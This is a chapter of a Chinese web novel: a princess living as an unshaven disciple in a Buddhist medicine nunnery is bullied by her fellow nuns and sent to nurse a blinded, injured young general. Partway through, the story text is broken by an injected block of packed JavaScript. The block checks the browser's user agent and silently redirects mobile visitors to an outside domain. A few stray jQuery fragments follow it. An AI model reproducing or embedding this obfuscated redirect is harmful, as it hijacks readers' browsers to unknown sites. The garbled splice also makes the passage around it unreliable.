江南的早春,天气尚寒。
阿苦早起时,见佛龛座下陶罐中的白色梅花花瓣散落,连余香都散尽,唯剩枯瘦的枝杈。
她披衣出门,行到阿难殿旁,见那株绿萼梅树已褪尽了昨日素白,枝头残蕊如倦蝶垂翼,零落的花瓣似一场未融尽的雪,簌簌扑向佛殿青苔斑驳的石阶,竟是再难折一支春色。
她正欲回身,忽然瞥见佛殿檐后探出一抹孤白,花瓣薄如蝉翼,在枯枝上乍破出几粒玉珠。虽仍是那一株绿萼,那截枝条因为朝北,又被屋檐遮挡,花期竟晚了数天。
她攀上栏杆,折下枝条,带回禅房,又从井中汲了新水,换了陶罐中的残水,将白梅清供其中。做完这些,她梳理了一头长发,用木簪挽了个髻子,戴上妙常冠,向经堂走去。妙常冠垂下的白色飘带与如瀑如川的青丝交错,晨风拂过,更显清影绰约。
道上已有了不少同时参加早课的沙弥尼与比丘尼【1】,只是大家都是一身青灰缁衣,以布巾缠头,她一身与众不同的装扮在人群中格外扎眼。
她听到众尼的私语声。
“看,那狐媚子又来了。这庵堂里也没男人,不知打扮成这样是要给谁看……”
“瞧她那走路的姿态,羽带飘摇的,都比别人轻浮些……”
“人家毕竟是公主嘛,出身高贵,怎么能跟咱们一样?你们没瞧见,她每日早起,都要以陶罐供花,装模作样的,以为自己很清高,估计还觉得自己生活在皇宫中呢?”
“呵,入了这空门,人人平等。公主又如何,还不是每天担水、扫洒、劈柴、捣药、念经,跟咱们干一样的活……”
“对了,她叫什么……阿苦……笑死人了,咱们整个药师庵都找不到这般低贱难听的名儿了……”
“你们别说了,我听说这名儿可是住持亲自起的,这话要是传到住持耳中,大家今晚都得多念一个时辰的经……”
阿苦充耳不闻,她加快脚步,第一个来到经堂之中。
早课完毕后,众尼纷纷离开,阿苦将《金刚经》默写一千言,供于佛前,再往柴房而去。
药师庵并不是寻常庵堂。这里供奉的是药师佛琉璃光如来菩萨,经书记载药师佛于过去世行菩萨道时,曾发十二大愿,愿为众生解除疾苦,使具足诸根,趋入解脱,故依此愿而成佛。药师佛法相为螺发形,左手持药壶,右手结施无畏印。寓意施行药术,以渡众生。
药师庵住持静仪师太身负秘传医术,堪称佛国妙手,求医问药者不绝,药师庵香火也极鼎盛。
静仪师太秉持众生平等之道,所有弟子除每日修行之外,都需在执事堂领一定的差事。本月阿苦所领的差事是同三位师姐一起劈柴。
她到柴房时,三名师姐已经不在那里了,规定份额的柴只劈了一小部分,余者尽数堆在她的位置上。她知三人故意排挤欺辱她,却也不愿去找她们理论,以免多听一耳朵的污言秽语。至于找执事的长老理论,更是无用之功,就算长老给她分配别的活计,换了新的搭档,也总归一样。在这药师庵,她做的活总是最多的。这一切,不过是因为她比众尼多一头乌发,众人嫉恨她而已。
阿苦将剩下的柴劈完,摆放整齐,撑起发酸的胳膊回房。一比丘尼迎了上来,道:“阿苦,住持让你去见她。”
阿苦待要细问,那女尼已跑了个没影。阿苦只得转步,往静仪师太日常起居的禅堂而去。
禅堂深深,供佛的檀烟和药材的苦香融在一处,飘飘渺渺,氤氲而上,缭绕在巨大的药师佛金身佛像周围。神佛低垂眉目,面容慈悲,似在悯怀一切众生。
静仪师太手持念珠,趺坐蒲团上,双眼微闭,低声诵经。
阿苦双手合十,行了佛礼,道:“师父,您找我。”
静仪师太抬眼,看见面前弟子。少女亭亭而立,纵然一身缁衣,不着铅华,也难掩玉质。秀容沉静,抬眸似天女展颜,垂首似菩萨低眉。那并非释门持戒的空洁之质,而是天生清贵之气,纵然在此清净之地,亦难以彻底掩去。
她心中轻叹,珠玉含光,总是遭人嫉恨。
她说道:“阿苦,沙门虽人人持戒,但你师姐们慧根有限,修行不到火候。我已经劝诫过她们,那些浑话,你不要往心里去。”
阿苦双膝着地,一咬牙,道:“师父,弟子愿意绞去头发。”
静仪师太手中念珠一顿:“为何?”
阿苦道:“佛门之中,众生平等。众师姐师妹既然都剃了头发,弟子也该一样。”
静仪师太摇头:“不可,你并无佛缘,淹留在此,不过因为当年一纸敕命而已。当年你母亲让你留下头发,自你八岁以后每年派遣女学士来庵中,教你诗书礼仪经世之道,你应该知道个中因由。”
阿苦笑容悲苦:“母亲以为我可以离开此地,她不过心怀妄念罢了。”
静仪师太道:“不然,为师前月入宫,皇帝陛下沉疴难起,不过多捱一两年。如果太孙继位,你母亲就是太后,此事并非毫无可能。剃发之事,休要再提。为师如今叫你来,并非为此,而是为了另一件事。”
“师父请讲。”
“上月,药师庵来了一位病人,是庐江刺史宋寒章的公子,名叫宋海晏。上月北魏进犯宝瓶口,宋将军率军退敌,这位小宋将军在战场上伤了眼睛和一条腿,宋家将小宋将军送来药师庵,托为师医治。药师庵一向不留治男客,然小宋将军是为保家卫国受伤,宋家亦捐了不少的香火钱,为师也不好推拒。只是,这位小宋将军性子古怪,你几位师姑去照料,都被骂了出来,说什么不肯再去。”
阿苦抬眸,眼神清亮:“师父是想让我去照顾这位小宋将军?”
静仪师太面露为难之色:“在为师众弟子中唯有你手脚麻利,性情沉着稳重,医术更得为师八分真传,是最合适的人选。然而男女有别,贴身照顾陌生男子,总是有损清誉。你又未剃度,更易遭那些风言风语,为师因此犹豫,你若不愿,为师也不勉强。”静仪师太低眉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279669|182500||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看她:“但你若愿去,为师会知会执事堂,将你所领的差事由他人暂替。你可以暂时搬出众弟子居住的庵堂,搬到小宋将军暂住的外堂去。”
阿苦心中微微一动。
她这些年在药师庵照顾过不少的病人,但都是女子,从未与男子近身接触。那宋海晏能让几位师姑都束手无策,想必难缠。
但是接受这桩任务不仅可以免除差事,还可以搬到外堂,不必整日面对师姐师妹们的指指点点,日子要清静许多。那宋海晏再难缠,她只做好自己分内之事就行,其他充耳不闻便是,他还能吃了她不成。
她低首合十:“弟子愿去。”
静仪师太舒了一口气,道:“你既愿意,我便让静慧师姑送你去外堂。那位小宋公子伤有两处,一是眼睛中毒失明,我会每天上午卯时为他施针,你需每日早中晚三遍为他双眼敷药,七日之内不得懈怠,否则他眼睛就没救了。二者他右腿骨折错位,经脉亦有损伤,我已帮他正骨固定,需得静养为上,切忌过多活动。少年人好动,你多劝着便是。”
这些照顾病人的道理阿苦都烂熟于心,应道:“是。”
当天下午,阿苦由静慧师太带着,来到了外堂的一处小院。那本是药师庵的一处知事堂,不仅清净,房舍还宽敞,大抵因为宋海晏身份特殊,宋家又肯使钱,便整理出来作为他的养病之所。
进门之前,静慧师太拉着她到了角落里,低声道:“阿苦啊,你师父的话你随便听听就是。这照顾病人的活计你能做几分是几分,这宋公子若是不听,你也无须勉强,反正是他自己受痛。若是最终他成了个瞎子瘸子,也是他命数如此……”
阿苦瞠目结舌,静慧师太对病人一向细致耐心,若是病人不爱重自己的身体,她比对方还着急,何曾说过“能做几分是几分”“无需勉强”“让他自己受痛”“他命数如此”的话来,阿苦心中虽不以为然,但也并不争辩,只含笑点了点头:“多谢师姑提点。”
静慧师太又塞给她一把匕首,道:“这一两个月你就住在这里了。虽说那宋海晏既瞎且瘸,谅不能对你如何。但他毕竟是个男子,你晚上还需要留心。这里被褥衣物俱全,你还需要什么,就告诉师姑,师姑帮你去寻来。”
“也不需什么……”阿苦话到唇边,心念一转,道:“对了,我的房间佛龛下有一只陶罐,清供着一枝梅花,劳烦师姑帮我取来。”
“好,我晚课之后帮你送来。”静慧师太言罢,告辞而去。
阿苦推开院门,正午的阳光正照在院中的老梨树下,这时节梨花还未抽枝开叶,瘦骨嶙峋的枝干下靠坐着一个年约十七八岁的少年。
少年面如雕琢之玉,轮廓分明,鼻梁峻拔,双眉入鬓,英气逼人。美中不足的是眼眶四周一片紫青之色,应是中毒所致,使这英挺俊朗的面容平添几分凶神恶煞之感。
少年察觉有人推门而入,原本放松的背脊忽地挺直,朝门口的方向恶狠狠叱声道:“谁在那里?给我滚出去——”